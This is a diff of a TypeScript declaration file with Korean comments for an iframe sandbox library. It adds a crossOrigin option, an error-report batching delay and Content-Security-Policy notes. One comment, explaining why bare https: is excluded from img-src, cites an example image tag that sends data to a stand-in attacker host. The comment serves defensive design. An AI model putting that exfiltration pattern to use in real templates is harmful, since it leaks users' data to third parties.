  readonly mediaOrigins?: readonly string[];
28
+ /**
29
+ * 엔트리 script의 `crossOrigin`. `'anonymous'`만 받는다(그 밖의 값은 TypeError). 주면 교차 origin 번들의
30
+ * 에러가 "Script error."로 가려지지 않고 메시지·스택이 보인다 — 대신 assetOrigin이 CORS
31
+ * (`Access-Control-Allow-Origin`)로 응답해야 하며, 아니면 엔트리 로드 자체가 실패한다. 기본은 속성 없음.
32
+ */
33
+ readonly crossOrigin?: 'anonymous';
28
34
  }
29
35
  /** mediaOrigins 최대 개수. */
30
36
  declare const MAX_MEDIA_ORIGINS = 20;
37
+ /**
38
+ * 에러 보고 묶음 대기(ms) — 첫 발생 뒤 이만큼 기다리며 같은 fingerprint를 count로 묶어 한 번 보낸다.
39
+ * 프로토콜에 정해지지 않은 값(구현 선택).
40
+ */
41
+ declare const REPORT_FLUSH_DELAY_MS = 1000;
31
42
  /** elementName 최대 길이. 정규식 앞에서 먼저 잘라 입력 크기를 고정한다. */
32
43
  declare const MAX_ELEMENT_NAME_LENGTH = 100;
33
44
  /**
34
45
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
35
46
  *
47
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
48
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
49
+ *
36
50
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
37
51
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
38
52
  *
@@ -45,8 +59,8 @@ declare function buildFrameCsp(nonce: string, assetOrigin: string, mediaOrigins?
45
59
  *
46
60
  * iframe 속성은 `IFRAME_ATTRIBUTES`(sandbox="allow-scripts" 등)를 쓴다.
47
61
  *
48
- * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins)
62
+ * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins·crossOrigin)
49
63
  */
50
64
  declare function createSrcdoc(options: CreateSrcdocOptions): string;
51
65
 
52
- export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };
66
+ export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, REPORT_FLUSH_DELAY_MS as R, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };